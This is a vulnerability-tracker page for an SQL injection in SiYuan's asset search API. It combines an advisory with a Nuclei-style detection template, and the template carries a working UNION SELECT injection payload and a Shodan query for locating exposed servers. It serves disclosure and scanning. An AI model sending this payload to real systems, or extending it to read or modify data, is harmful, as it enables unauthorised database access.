CVE-2026-69083: SiYuan <= 3.7.2 - Asset Content Search SQL Injection

2026-11-29 PoC Public

Description

SiYuan before 3.7.3 contains a SQL injection in the /api/search/fullTextSearchAssetContent endpoint. The handler is guarded by CheckAuth only, so the anonymous publish account and publish RoleReader tokens can reach it. With method 3 (regular expression search) the expression is concatenated into a REGEXP clause without quote escaping and runs on the read-write asset-content database, and method 2 (SQL search) runs client-supplied SQL without an administrator check. Exploitation requires the publish service with publish authentication disabled or a publish RoleReader token.

Details

CVE
CVE-2026-69083 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-69083

info:
  name: SiYuan <= 3.7.2 - Asset Content Search SQL Injection
  author: s4e-io
  severity: critical
  description: |
    SiYuan before 3.7.3 contains a SQL injection in the /api/search/fullTextSearchAssetContent endpoint. The handler is guarded by CheckAuth only, so the anonymous publish account and publish RoleReader tokens can reach it. With method 3 (regular expression search) the expression is concatenated into a REGEXP clause without quote escaping and runs on the read-write asset-content database, and method 2 (SQL search) runs client-supplied SQL without an administrator check. Exploitation requires the publish service with publish authentication disabled or a publish RoleReader token.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL on the asset-content database to read cross-notebook asset content and modify or delete database content.
  remediation: |
    Update to version 3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fph3-ghq9-vw66
    - https://github.com/siyuan-note/siyuan/commit/cf42dd5680c8f2d50cebfada5d639c8d59faf50e
    - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69083
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69083
    epss-score: 0.0162
    epss-percentile: 0.76489
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: b3log
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,sqli,sqlite,unauth

variables:
  num1: "{{rand_int(10000, 99999)}}"
  num2: "{{rand_int(10000, 99999)}}"

http:
  - raw:
      - |
        POST /api/search/fullTextSearchAssetContent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"^$') AND 0 UNION ALL SELECT CAST('{{num1}}'||'{{num2}}' AS INTEGER) ORDER BY 1 DESC-- ","method":3}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"matchedAssetCount":{{num1}}{{num2}},'
          - '"assetContents":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008ee0d9d9f58ddcf680fcf351f8bb8b85639160d3b796908d235c171212c6f42d022100d43bfb6793ae184d94017d5f1715fbd04044ca583d77ddf86e63868c6d1228c9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life